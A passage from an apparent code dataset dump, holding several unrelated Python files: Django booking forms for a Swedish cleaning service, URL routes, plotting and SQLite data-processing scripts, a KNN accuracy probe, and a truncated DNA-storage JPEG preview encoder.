"sys.stderr", "line_number": 123, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 135, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 156, "usage_type": "call"}]}
+{"seq_id": "461270503", "text": "# coding=utf-8\nfrom django import forms\nfrom django.core.validators import RegexValidator\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom localflavor.se.forms import SEPostalCodeField, SEPersonalIdentityNumberField\n\nfrom utils.messages import get_error_msg\nfrom utils.validators import SE_phone_validation_regex\nfrom mainSite.models import Service\n\n\nclass BookingForm1(forms.Form):\n    required_css_class = 'required'\n\n    zip_code = SEPostalCodeField(\n        error_messages={'required': get_error_msg('zipcode')},\n        help_text=_('Postal code'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'zip-code',\n                # 'placeholder': _('Postal code'),\n                'type': 'number'\n            }\n        )\n    )\n    area = forms.IntegerField(\n        error_messages={'required': get_error_msg('area')},\n        help_text=_('Area'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'area',\n                'placeholder': _('I live in ... sqm'),\n                'type': 'number'\n            }\n        )\n    )\n\n    date = forms.DateField(\n        error_messages={'required': get_error_msg('dateToBeDone')},\n        help_text=_('Date'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'dateToBeDone',\n                'placeholder': _('YYYY-MM-DD'),\n                'class': 'datepicker',\n                'autocomplete': 'off',\n                # 'type': 'date'\n            }\n        )\n    )\n    services = Service.objects.all()\n    active_services = ((service.slug, service.name) for service in services)\n    service = forms.ChoiceField(\n        choices=active_services,\n        help_text=_('Service')\n    )\n\n\nclass BookingForm2(forms.Form):\n    required_css_class = 'required'\n\n    name = forms.CharField(\n        error_messages={'required': get_error_msg('name')},\n        help_text=_('First name'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'name',\n                # 'placeholder': _('First name')\n            }\n        )\n    )\n\n    surname = forms.CharField(\n        error_messages={'required': get_error_msg('surname')},\n        help_text=_('Last name'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'surname',\n                # 'placeholder': _('Last name')\n            }\n        )\n    )\n\n    personal_number = SEPersonalIdentityNumberField(\n        error_messages={'required': get_error_msg('personalNumber')},\n        help_text=_('Personal Number'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'personal-number',\n                'placeholder': _('YYYYMMDD-XXXX'),\n                'type': 'number'\n            }\n        )\n    )\n\n    phone = forms.CharField(\n        error_messages={'required': get_error_msg('phone')},\n        help_text=_('Mobile nummber'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'phone',\n                # 'placeholder': _('Mobile nummber'),\n                'type': 'tel'\n            }\n        ),\n        validators=[\n            RegexValidator(\n                regex=SE_phone_validation_regex,\n                message=_(\"Please enter valid phone number\"),\n                code='Invalid_phone'),\n        ],\n    )\n\n    email = forms.EmailField(\n        error_messages={'required': get_error_msg('email')},\n        help_text=_('E-mail address'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'email',\n                # 'placeholder': _('E-mail address'),\n                'type': 'email'\n            }\n        )\n    )\n\n    # auto-filled from zip in from # 1\n    city = forms.CharField(\n        help_text=_('City'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'city',\n                'readonly': 'readonly'\n            }\n        )\n    )\n\n    # auto-filled from zip in from # 1\n    # state = forms.CharField(\n    #     widget=forms.HiddenInput(\n    #         attrs={\n    #             'id': 'state',\n    #             'readonly': 'readonly',\n    #             # 'class': 'hidden'\n    #         }\n    #     )\n    # )\n\n    address = forms.CharField(\n        error_messages={'required': get_error_msg('Gatuaddress')},\n        help_text=_('Street address'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'address',\n                # 'placeholder': _('Street address')\n            }\n        )\n    )\n\n    portcode = forms.CharField(\n        required=False,\n        help_text= _('Entry code'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'portcode',\n                'placeholder': _('Entry code (optional)')\n            }\n        )\n    )\n    keys = forms.CharField(\n        help_text=_('How cleaners enter?'),\n        widget=forms.TextInput(\n            attrs={\n                'id': 'keys',\n                'placeholder': _('For example: I will open the door.'),\n                'label': _('How cleaners enter?')\n            }\n        )\n    )\n    comment = forms.CharField(\n        required=False,\n        help_text=_('comment'),\n        widget=forms.Textarea(\n            attrs={\n                'id': 'comment',\n                'placeholder': _('comment (optional)'),\n            }\n        )\n    )\n\n    # if I_want_billing_to_other_address is checked, display fields below:\n    care_of = forms.CharField(\n        required=False,\n        widget=forms.HiddenInput(\n            attrs={\n                'id': 'care-of',\n                'placeholder': _('c/o'),\n                'class': 'co-group'\n            }\n        )\n    )\n    co_zip_code = SEPostalCodeField(\n        required=False,\n        widget=forms.HiddenInput(\n            attrs={\n                'id': 'co-zip-code',\n                'placeholder': _('Postal code'),\n                'type': 'number',\n                'class': 'co-group'\n            }\n        )\n    )\n    co_address = forms.CharField(\n        required=False,\n        widget=forms.HiddenInput(\n            attrs={\n                'id': 'co-address',\n                'placeholder': _('Street address'),\n                'class': 'co-group'\n            }\n        )\n    )\n\n    rutavdrag = forms.BooleanField(\n        required=False,\n        initial=True,\n        label=_('I want to use RUT deduction'),\n        widget=forms.HiddenInput(\n            attrs={\n                'id': 'rutavdrag'\n            }\n        )\n    )", "sub_path": "booking/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 6396, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.forms.Form", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 13, "usage_type": "name"}, {"api_name": "localflavor.se.forms.SEPostalCodeField", "line_number": 16, "usage_type": "call"}, {"api_name": "utils.messages.get_error_msg", "line_number": 17, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 18, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 19, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 19, "usage_type": "name"}, {"api_name": "django.forms.IntegerField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 27, "usage_type": "name"}, {"api_name": "utils.messages.get_error_msg", "line_number": 28, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 29, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 30, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 30, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 33, "usage_type": "call"}, {"api_name": "django.forms.DateField", "line_number": 39, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 39, "usage_type": "name"}, {"api_name": "utils.messages.get_error_msg", "line_number": 40, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 41, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 42, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 42, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 45, "usage_type": "call"}, {"api_name": "mainSite.models.Service.objects.all", "line_number": 52, "usage_type": "call"}, {"api_name": "mainSite.models.Service.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "mainSite.models.Service", "line_number": 52, "usage_type": "name"}, {"api_name": "django.forms.ChoiceField", "line_number": 54, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 54, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 56, "usage_type": "call"}, {"api_name": "django.forms.Form", "line_number": 60, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 60, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 63, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 63, "usage_type": "name"}, {"api_name": "utils.messages.get_error_msg", "line_number": 64, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 65, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 66, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 66, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 74, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 74, "usage_type": "name"}, {"api_name": "utils.messages.get_error_msg", "line_number": 75, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 76, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 77, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 77, "usage_type": "name"}, {"api_name": "localflavor.se.forms.SEPersonalIdentityNumberField", "line_number": 85, "usage_type": "call"}, {"api_name": "utils.messages.get_error_msg", "line_number": 86, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 87, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 88, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 88, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 91, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 97, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 97, "usage_type": "name"}, {"api_name": "utils.messages.get_error_msg", "line_number": 98, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 99, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 100, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 100, "usage_type": "name"}, {"api_name": "django.core.validators.RegexValidator", "line_number": 108, "usage_type": "call"}, {"api_name": "utils.validators.SE_phone_validation_regex", "line_number": 109, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 110, "usage_type": "call"}, {"api_name": "django.forms.EmailField", "line_number": 115, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 115, "usage_type": "name"}, {"api_name": "utils.messages.get_error_msg", "line_number": 116, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 117, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 118, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 118, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 128, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 128, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 129, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 130, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 130, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 149, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 149, "usage_type": "name"}, {"api_name": "utils.messages.get_error_msg", "line_number": 150, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 151, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 152, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 152, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 160, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 160, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 162, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 163, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 163, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 166, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 170, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 170, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 171, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 172, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 172, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 175, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 176, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 180, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 180, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 182, "usage_type": "call"}, {"api_name": "django.forms.Textarea", "line_number": 183, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 183, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 186, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 192, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 192, "usage_type": "name"}, {"api_name": "django.forms.HiddenInput", "line_number": 194, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 194, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 197, "usage_type": "call"}, {"api_name": "localflavor.se.forms.SEPostalCodeField", "line_number": 202, "usage_type": "call"}, {"api_name": "django.forms.HiddenInput", "line_number": 204, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 204, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 207, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 213, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 213, "usage_type": "name"}, {"api_name": "django.forms.HiddenInput", "line_number": 215, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 215, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 218, "usage_type": "call"}, {"api_name": "django.forms.BooleanField", "line_number": 224, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 224, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 227, "usage_type": "call"}, {"api_name": "django.forms.HiddenInput", "line_number": 228, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 228, "usage_type": "name"}]}
+{"seq_id": "651680415", "text": "from django.conf.urls import url, include\n\nfrom .views import BookmarkListView, BookmarkCreateView\n\nurlpatterns = [\n    url(r'^search/', include('haystack.urls')),\n\n    url(r'^$', BookmarkListView.as_view(template_name=\"home.html\"), name=\"bookmark-list-view\"),\n    url(r'^add/$', BookmarkCreateView.as_view(template_name=\"add.html\"), name=\"bookmark-create-view\"),\n]\n", "sub_path": "bookmarks/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 366, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "views.BookmarkListView.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "views.BookmarkListView", "line_number": 8, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "views.BookmarkCreateView.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "views.BookmarkCreateView", "line_number": 9, "usage_type": "name"}]}
+{"seq_id": "459164402", "text": "\"\"\"\nSimple demo of a scatter plot.\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef ha():\n    x = []\n    y = []\n    TA = []\n    HA = []\n    with open(\"./plotdata.txt\", 'r') as fr:\n        for line in fr:\n            tokens = line.strip().split('\\t')\n            #print tokens\n            x_label, x_data = tokens[0].split(' ')\n            TA_label, TA_data = tokens[1].split(' ')\n            HA_label, HA_data = tokens[2].split(' ')\n            x.append(x_data)\n            xlimit = x_data\n            TA.append(TA_data)\n            HA.append(HA_data)\n            #print update, ha\n            #x.append(update)\n            #y.append(ha)\n    #plt.title(\"HA trend\")\n    plt.xlabel('Iteration')\n    plt.ylabel('Accuracy')\n    plt.xlim(0, int(xlimit))\n    plt.ylim([0.4,1])\n    plt.scatter(x, TA, color='blue', label='Train')\n    plt.scatter(x, HA, color='red', label='Test')\n    plt.legend(loc='lower right')\n    plt.show()\n\nif __name__ == \"__main__\":\n    ha()\n", "sub_path": "logreg/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 970, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.pyplot.xlabel", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}]}
+{"seq_id": "509838855", "text": "import sqlite3\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sqlite3 import Error\n\n\nread_data = []\nwith open('frss92.dat', 'r') as datafile:\n    for line in datafile:\n        read_data.append(line)\n\n# each line has 1442 chars, 1527 lines total\n# quality measures? sum of 10-77\n# barrier measures? 80-93 (providing), 96-111 (student participation)\n# resource limitations for adding + phasing out? 118-123 (adding), 138-143 (removing)\n# all of the above aren't zero-indexed (based on key provided w dataset)\n\nprocessed_data = []\n\n\ndef get_score(subarr):\n    score = 0\n    for elt in subarr:\n        if (elt not in [\" \", \"-\", \"8\"]):\n            score += int(elt)\n    return score\n\nfor line in read_data:\n\n    idn = int(line[1:5])\n\n    if(line[6] == \"2\"):\n\n        # joinable attributes\n        dist_size = line[7] # 1 = less than 2500k, 2 = 2500k < 9999k, 3 = 10000k+\n        urb = line[8] # 1 = city, 2 = suburban, 3 = town, 4 = rural\n        region = line[9] # 1 = northeast, 2 = southeast, 3 = central, 4 = west\n\n        # response vars\n        totalComputers = get_score(line[16-19])\n        computersForInstruction = get_score(line[24-27])\n        integration = get_score(line[135]) # on a range of 1-4 if district staff help technology integration\n        training = get_score(line[154])\n\n        # add to processed_data\n        dist_data = [idn, dist_size, urb, region, totalComputers, computersForInstruction, integration, training]\n        processed_data.append(dist_data)\n\n\n# no nulls in data\n\nprint(len(processed_data)) # = 916\nprint(len(processed_data[0])) # = 8\n\ndatabase = \"all_data.db\"\n\ncolumns = ('idn', 'dist_size', 'urb', 'region', 'totalComputers', 'computersForInstruction', 'integration', 'training')\n\ndef create_connection(db_file):\n    try :\n        # connection = sqlite3.connect(\"edTech.db\")\n        connection = sqlite3.connect(db_file)\n    except Error as e:\n        print(e)\n    # finally:\n    #     connection.close()\n    return connection\n\ndef create_table(conn, sql_text):\n    try:\n        c = conn.cursor()\n        c.execute(districtTable)\n        c.close()\n    except Error as e:\n        print(e)\n\ndistrictTable  = \"\"\" CREATE TABLE IF NOT EXISTS edtech(\n    dist_size integer,\n    urb integer,\n    region integer,\n    totalComputers integer NOT NULL ,\n    computersForInstruction integer ,\n    integration integer,\n    training integer,\n    idn integer PRIMARY KEY\n);\"\"\"\n\nconnection = create_connection(\"database.db\")\n\nif connection is not None:\n    create_table(connection, \"database.db\")\nelse:\n    print(\"Not connecting\")\n\n", "sub_path": "edtech/processing.py", "file_name": "processing.py", "file_ext": "py", "file_size_in_byte": 2565, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sqlite3.connect", "line_number": 62, "usage_type": "call"}, {"api_name": "sqlite3.Error", "line_number": 63, "usage_type": "name"}, {"api_name": "sqlite3.Error", "line_number": 74, "usage_type": "name"}]}
+{"seq_id": "565989759", "text": "import numpy as np\nfrom sklearn.neighbors import KNeighborsClassifier\n\n\ncommon_corruptions = ['gaussian_noise', 'shot_noise', 'impulse_noise', 'defocus_blur', 'glass_blur',\n\t\t\t\t'motion_blur', 'zoom_blur', 'snow', 'frost', 'fog',\n\t\t\t\t'brightness', 'contrast', 'elastic_transform', 'pixelate', 'jpeg_compression', 'scale']\n\n\n\ntrain_view = 'Lab'\n\ntr_feat = np.load('./results/feat_from_model/tr_%s.npy' %(train_view))\ntr_label = np.load('./results/feat_from_model/tr_label.npy')\n\nneigh = KNeighborsClassifier(n_neighbors=5)\nneigh.fit(tr_feat, tr_label)\n\nfor corruption in common_corruptions:\n    val_corruption = corruption\n\n    te_feat = np.load('./results/feat_from_model/val_%s_%s.npy' %(train_view, val_corruption))\n    te_label = np.load('./results/feat_from_model/val_label.npy')\n\n\n    predict = neigh.predict(te_feat)\n    correct = np.sum( predict == te_label )\n\n    accuracy = correct / predict.shape[0]\n    print( 'The accuracy of %s is %s' %(val_corruption, str(accuracy*100)) )", "sub_path": "KnnProbing.py", "file_name": "KnnProbing.py", "file_ext": "py", "file_size_in_byte": 985, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.load", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 14, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 27, "usage_type": "call"}]}
+{"seq_id": "464667524", "text": "#from dnastorage.arch.builder import *\nfrom dnastorage.system.formats import *\nfrom dnastorage.system.dnafile import *\nfrom dnastorage.util.stats import *\nfrom dnastorage.util.packetizedfile import *\nfrom dnapreview.jpeg.encode import *\nfrom dnapreview.jpeg.decoder import *\nfrom dnapreview.jpeg.jpeg import *\nfrom io import BytesIO\nimport csv\n\nplogger = logging.getLogger('dna.preview.tools.preview')\n\nclass JPEGPreview:\n    def __init__(self, **kwargs):\n\n        self.preview_primers = []\n        self.primer3 = []\n        self.preview_percents = []\n        self.formats = []\n        self.flanking5 = []\n        self.flanking3 = []\n\n        self.preview_info = []\n        with open(kwargs['preview_info']) as csvfile:\n            reader = csv.DictReader(csvfile)\n            for i,pinfo in enumerate(reader):\n                self.preview_primers.append(pinfo['primer5'])\n                self.primer3.append(pinfo['primer3'])\n                self.preview_percents.append(int(pinfo['percent']))\n                self.formats.append(pinfo['format'])\n                self.flanking5.append(pinfo['flanking5'])\n                self.flanking3.append(pinfo['flanking3'])\n                self.preview_info.append(pinfo)\n\n                print(\"{}. {}% {}\".format(i,pinfo['percent'],pinfo['format']))\n                print(\"   p5 {} ({})\".format(pinfo['primer5'],len(pinfo['primer5'])))\n                print(\"   p3 {} ({})\".format(pinfo['primer3'],len(pinfo['primer3'])))\n                print(\"   f5 {} ({})\".format(pinfo['flanking5'],len(pinfo['flanking5'])))\n                print(\"   f3 {} ({})\".format(pinfo['flanking3'],len(pinfo['flanking3'])))\n\n        #print self.preview_info\n                \n        self.downsample = kwargs['downsample']\n        self.input_file = kwargs['input_file']\n        self.jpeg = JPEG(kwargs['input_file'],kwargs['downsample'])\n\n        self.output = kwargs['output']        \n        if 'spectral_group_size' in kwargs:\n            self.spectral_group_size = kwargs['spectral_group_size']\n        else:\n            self.spectral_group_size = 5\n            \n\n    def create_preview_regions(self,scans,comments):\n        sizes = [ len(s) for s in scans ]\n        total = sum(sizes)\n        dist = [ 100.0*float(s)/total for s in sizes]\n        #print sizes\n        #print total\n        #print dist\n        #print sum(dist)\n        #print comments\n\n        i = 0\n        total = 0.0\n        all_total = []\n        regions = []\n        all_comments = []\n        s = b''\n        comm = \"\"\n        for size,scan,c in zip(dist,scans,comments):\n            #print (len(scan))\n            #print ( ([\"{:x}\".format(_) for _ in scan[:120]]) )\n            total += size\n            s += scan\n            comm += c\n            if total >= self.preview_percents[i]:\n                #print \"size of region=\",len(s)\n                regions += [s]\n                all_comments += [comm]\n                all_total += [total]\n                s = b''\n                total = 0.0\n                comm = \"\"                \n                i+=1\n                if i >= len(self.preview_percents):\n                    break\n        if len(s) > 0:\n            regions += [s]\n            all_comments += [comm]\n            all_total += [total]\n        #print [ len(r) for r in regions ]\n\n        output_log = \"{}.comments\".format(self.output.name)\n        flog = open(output_log,\"w\")\n        \n        for i,(s,c,t) in enumerate(zip(regions,all_comments,all_total)):\n            plogger.info(\"{}% is from these scans: {}\".format(t,c))\n            flog.write(\"{}: {}% is from these scans: {}\\n\".format(i,t,c))\n            \n        return regions\n        \n    def create_preview(self):\n        codec = JPEGProgressiveEncoder(self.jpeg)\n        scans,comments = codec.get_progressive_scans(self.spectral_group_size,64,True)\n        regions = self.create_preview_regions(scans,comments)\n\n        #ofile = self.output                        \n        #ofile.write(\"%{}\\n\".format(self.input_file))\n\n        dna_file = SegmentedWriteDNAFile(primer5=self.preview_primers[0],\\\n                                         format_name=self.formats[0],\n                                         primer3=self.primer3[0],\\\n                                         out_fd=self.output,\\\n                                         flanking_primer5=self.flanking5[0],\\\n                                         flanking_primer3=self.flanking3[0],\\\n                                         fsmd_abbrev='FSMD-1')\n\n        dna_file.write( regions[0] )\n\n        #print len(self.preview_primers[1:])\n        #print len(self.formats[1:])\n        #print len(self.primer3[1:])\n        #print len(self.flanking3[1:])\n        #print len(self.flanking5[1:])\n        #print len(regions[1:])\n        \n        # each region is like a separate file, with its own unique primer and arch.\n        for p5,f,r,p3,f5,f3 in zip(self.preview_primers[1:],self.formats[1:],regions[1:],self.primer3[1:],self.flanking5[1:],self.flanking3[1:]):\n            #print \"here!\"\n            dna_file.new_segment(f,p5,p3,flanking_primer5=f5,flanking_primer3=f3)\n            dna_file.write(r)\n\n        dna_file.close()\n\n        \n        \nif __name__ == \"__main__\":\n    import sys\n    import argparse\n    from dnastorage.util.stats import stats\n\n    import logging\n    logger = logging.getLogger()\n    logger.setLevel(logging.DEBUG)\n    _formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n    _ch = logging.FileHandler(\"preview.log\",mode='w')\n    _ch.setFormatter(_formatter)\n    logger.addHandler(_ch)\n\n    \n    plogger.info(\"Begin preview script.\");\n    plogger.info(\"Command: {}\".format(\" \".join(sys.argv)))\n    \n    \n    parser = argparse.ArgumentParser(description=\"Preview support for jpeg files.\")\n    parser.add_argument('--o',nargs='?', dest=\"output\", action=\"store\", default=\"\", help=\"Output file.\")\n\n    parser.add_argument('--encode',dest=\"encode\",required=False,action=\"store_true\",default=False,help='encode the image input file into JPEG preview format')\n\n    parser.add_argument('--decode',dest=\"decode\",required=False,action=\"store_true\",default=False,help='decode the DNA strands into a JPEG file')\n\n    parser.add_argument('--fix-seq',dest=\"fix_seq\",required=False,action=\"store_true\",default=False,help='patch sequenced results (needed to correct for some minor encoding errors)')\n\n    \n    parser.add_argument('--use-single-primer',dest=\"use_single_primer\",required=False,action=\"store_true\",default=False,help='If strands come from sequencing, use this setting to indicate a single primer.')\n\n    parser.add_argument('--show',dest=\"show\",required=False,action=\"store_true\",default=False,help='upon successful decode show the resulting file')\n        \n    parser.add_argument('--downsample',dest=\"downsample\",type=int,default=1,help=\"Downsample the file to make it smaller.\")\n\n    parser.add_argument('--primer3',dest=\"primer3\",action=\"store\",default=\"\", help=\"Decoding end primer.\")\n    parser.add_argument('--primer5',dest=\"primer5\",action=\"store\",default=\"\", help=\"Decoding begin primer.\")\n\n    parser.add_argument('--use-flanking-primer',dest=\"use_flanking_primer\",required=False,action=\"store_true\",default=False,help='If strands come from sequencing, use this setting to indicate a flanking primer.')\n\n    parser.add_argument('--flanking-primer3',dest=\"flanking_primer3\",action=\"store\",default=\"\", help=\"Decoding flanking end primer.\")\n    parser.add_argument('--flanking-primer5',dest=\"flanking_primer5\",action=\"store\",default=\"\", help=\"Decoding flanking begin primer.\")\n\n    parser.add_argument('--preview-encoding-info',dest='preview_info',action=\"store\",default=\"\")\n    \n    parser.add_argument('input_file', nargs=\"?\", type=str, default=\"\", help='input file name')\n    \n    args = parser.parse_args()\n\n    if args.input_file == \"\":\n        print(\"No input file specified.\")\n        sys.exit(0)\n\n    if args.encode:\n\n        if len(args.preview_info)==0:\n            print(\"Missing the csv file that describes how to encode the preview.\")\n            print(\"Pass using --preview-encoding-info.\")\n            sys.exit(0)\n\n        if args.output == \"\":\n            out_fd = sys.stdout\n        else:\n            out_fd = open(args.output,\"wt\")\n            \n        preview = JPEGPreview(preview_info = args.preview_info,\\\n                              filename = args.input_file,\\\n                              output = out_fd,\\\n                              downsample = args.downsample,\\\n                              input_file = args.input_file)\n\n        preview.create_preview()\n\n    elif args.decode:\n\n        dna_file = DNAFile.open(args.input_file,\"r\",\\\n                                